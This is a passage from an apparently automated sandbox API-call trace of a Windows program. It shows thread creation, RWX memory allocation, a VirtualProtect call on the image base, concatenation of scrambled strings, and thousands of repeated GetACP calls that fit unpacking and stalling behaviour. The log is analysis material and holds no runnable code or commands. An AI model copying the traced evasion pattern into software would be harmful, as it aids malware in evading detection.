lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1894) returned 0x864 [0228.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1898) returned 0x868 [0228.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x189c) returned 0x86c [0228.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18a0) returned 0x870 [0228.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18a4) returned 0x874 [0228.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18a8) returned 0x878 [0228.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18ac) returned 0x87c [0228.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18b0) returned 0x880 [0228.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x18b4) returned 0x884 [0228.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2a000, flAllocationType=0x1000, flProtect=0x40) returned 0x5120000 [0228.866] lstrlenA (lpString="%nl,") returned 4 [0228.866] lstrlenA (lpString="(.") returned 2 [0228.866] lstrcatA (in: lpString1="(.", lpString2="%nl," | out: lpString1="(.%nl,") returned="(.%nl," [0228.867] lstrlenA (lpString="wuU") returned 3 [0228.867] lstrlenA (lpString="./") returned 2 [0228.867] lstrlenA (lpString="P=\\") returned 3 [0228.867] lstrlenA (lpString="dj`q") returned 4 [0228.867] lstrlenA (lpString="*+#ej") returned 5 [0228.867] lstrlenA (lpString="e@8>+") returned 5 [0228.867] lstrcmpA (lpString1="z$B\"", lpString2="{esP") returned 1 [0228.900] lstrlenA (lpString="uy;R") returned 4 [0228.900] lstrlenA (lpString="0WF<") returned 4 [0228.900] lstrcatA (in: lpString1="dj`q", lpString2="P=\\" | out: lpString1="dj`qP=\\") returned="dj`qP=\\" [0228.900] lstrcmpA (lpString1="41", lpString2="nJ") returned -1 [0228.900] lstrcatA (in: lpString1="./", lpString2="wuU" | out: lpString1="./wuU") returned="./wuU" [0228.900] VirtualAlloc (lpAddress=0x0, dwSize=0x22b10, flAllocationType=0x1000, flProtect=0x4) returned 0x5490000 [0228.900] VirtualProtect (in: lpAddress=0x400000, dwSize=0x2a000, flNewProtect=0x40, lpflOldProtect=0x51490f0 | out: lpflOldProtect=0x51490f0*=0x2) returned 1 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.902] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.903] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.904] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.905] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.906] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0228.907] GetACP () returned 0x4e4 [0229.044] GetACP () returned 0x4e4 [0229.060] GetACP () returned 0x4e4 [0229.420] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.485] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.486] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.487] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.488] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.489] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.490] GetACP () returned 0x4e4 [0229.491] GetACP () returned 0x4e4 [0229.491] GetACP () returned 0x4e4 [0229.491] GetACP () returned 0x4e4 [0229.491] GetACP () returned 0x4e4 [0229.491] GetACP () returned 0x4e4 [0229.491] GetACP () returned 0x4e4 [0229.591] GetACP () returned 0x4e4 [0229.685] GetACP () returned 0x4e4 [0229.780] GetACP () returned 0x4e4 [0229.935] GetACP () returned 0x4e4 [0229.951] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.063] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.064] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.065] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 0x4e4 [0230.066] GetACP () returned 